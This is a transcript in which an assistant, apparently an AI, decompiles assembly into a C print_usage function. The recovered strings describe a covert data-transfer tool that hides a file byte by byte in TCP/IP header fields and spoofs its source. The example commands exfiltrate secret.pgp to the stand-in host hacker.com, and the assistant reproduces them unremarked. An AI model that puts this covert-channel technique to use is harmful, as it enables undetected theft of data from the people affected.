user: Converte this assembly snippet into its equivalent C code:

```asm
<print_usage>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x10,%rsp
  mov    %rdi,-0x8(%rbp)
  mov    -0x8(%rbp),%rax
  mov    (%rax),%rax
  mov    %rax,%rsi
  lea    D30(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  lea    D67(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D35(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D153(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D46(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D48(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D84(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D117(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D29(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D97(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D119(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D93(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  lea    D95(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  mov    -0x8(%rbp),%rax
  mov    (%rax),%rdx
  mov    -0x8(%rbp),%rax
  mov    (%rax),%rax
  mov    %rax,%rsi
  lea    D20(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  lea    D69(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  mov    -0x8(%rbp),%rax
  mov    (%rax),%rdx
  mov    -0x8(%rbp),%rax
  mov    (%rax),%rax
  mov    %rax,%rsi
  lea    D39(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  lea    D49(%rip),%rax
  mov    %rax,%rdi
  call   <puts@plt>
  nop
  leave
  ret
```

tool_calls: name: unpack_data
arguments: tag: D30
type: string
name: unpack_data
arguments: tag: D67
type: string
name: unpack_data
arguments: tag: D35
type: string
name: unpack_data
arguments: tag: D153
type: string
name: unpack_data
arguments: tag: D46
type: string
name: unpack_data
arguments: tag: D48
type: string
name: unpack_data
arguments: tag: D84
type: string
name: unpack_data
arguments: tag: D117
type: string
name: unpack_data
arguments: tag: D29
type: string
name: unpack_data
arguments: tag: D97
type: string
name: unpack_data
arguments: tag: D119
type: string
name: unpack_data
arguments: tag: D93
type: string
name: unpack_data
arguments: tag: D95
type: string
name: unpack_data
arguments: tag: D20
type: string
name: unpack_data
arguments: tag: D69
type: string
name: unpack_data
arguments: tag: D39
type: string
name: unpack_data
arguments: tag: D49
type: string

tool: D30: Covert Transfer Usage: 
%s -dest dest_ip -dest_port port -file filename [encode type]



tool: D67: -dest [dest_ip]		- Receiver to send data to. 

tool: D35: -dest_port [port]	- IP port you want data to go to. [DEFAULT PORT == 80]

tool: D153: -source [source_ip]	- Host where you want to data to originate from.
			  (Source can include a bounce server address).

tool: D46: -src_port [source_port]	- IP source port you want data to appear from. 
			  (Randomly Set by default)

tool: D48: -file [filename]	- Name of the file to encode and transfer.


tool: D84: [Encode Type]: Following are the optional encoding types: 

tool: D117: 	-urg_ptr	- Encode data a byte at a time in the TCP packet Urgent Pointed field.

tool: D29: 	-seq		- Encode data a byte at a time in the TCP packet sequence number field. 

tool: D97: 	-ack		- Encode data a byte at a time in the TCP packet acknowledge field. 

tool: D119: 	-id		- Encode data a byte at a time in the IP packet identification field. 

tool: D93: 	-tos	- Encode data a byte at a time in the IP packet's Type of Service field.


tool: D95: Examples
=====================================================================================================================


tool: D20: Example 1: 
 %s -dest hacker.com -dest_port 80 -file secret.pgp -frag_off 
 %s -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr 



tool: D69:  The example above send the secret.pgp file a byte at time to hacker.com on port 80 either using
 IP headers fragment offset field or TCP headers urgent pointer field.


tool: D39: Example 2: 
 %s -source foo.bar.com -src_port 1234  -dest hacker.com -dest_port 80 -file secret.pgp -frag_off 
 %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr 



tool: D49:  The example above send the secret.pgp file a byte at time to hacker.com on 
 port 80 from foo.bar.com either using IP headers fragment offset field or 
 TCP headers urgent pointer field.


assistant: ```c
void print_usage(char *argv[]) {
  printf("Covert Transfer Usage: \n%s -dest dest_ip -dest_port port -file filename [encode type]\n\n", argv[0]);
  printf("-dest [dest_ip]		- Receiver to send data to. \n");
  printf("-dest_port [port]	- IP port you want data to go to. [DEFAULT PORT == 80]\n");
  printf("-source [source_ip]	- Host where you want to data to originate from.\n"
         "			  (Source can include a bounce server address).\n");
  printf("-src_port [source_port]	- IP source port you want data to appear from. \n"
         "			  (Randomly Set by default)\n");
  printf("-file [filename]	- Name of the file to encode and transfer.\n\n");
  printf("[Encode Type]: Following are the optional encoding types: \n");
  printf("	-urg_ptr	- Encode data a byte at a time in the TCP packet Urgent Pointed field.\n");
  printf("	-seq		- Encode data a byte at a time in the TCP packet sequence number field. \n");
  printf("	-ack		- Encode data a byte at a time in the TCP packet acknowledge field. \n");
  printf("	-id		- Encode data a byte at a time in the IP packet identification field. \n");
  printf("	-tos	- Encode data a byte at a time in the IP packet's Type of Service field.\n\n");
  printf("Examples\n=====================================================================================================================\n\n");
  printf("Example 1: \n %s -dest hacker.com -dest_port 80 -file secret.pgp -frag_off \n"
         " %s -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \n\n",
         argv[0], argv[0]);
  printf(" The example above send the secret.pgp file a byte at time to hacker.com on port 80 either using\n"
         " IP headers fragment offset field or TCP headers urgent pointer field.\n\n");
  printf("Example 2: \n %s -source foo.bar.com -src_port 1234  -dest hacker.com -dest_port 80 -file secret.pgp -frag_off \n"
         " %s -source foo.bar.com -src_port 1234 -dest hacker.com -dest_port 80 -file secret.pgp -urg_ptr \n\n",
         argv[0], argv[0]);
  printf(" The example above send the secret.pgp file a byte at time to hacker.com on \n"
         " port 80 from foo.bar.com either using IP headers fragment offset field or \n"
         " TCP headers urgent pointer field.\n\n");
}
```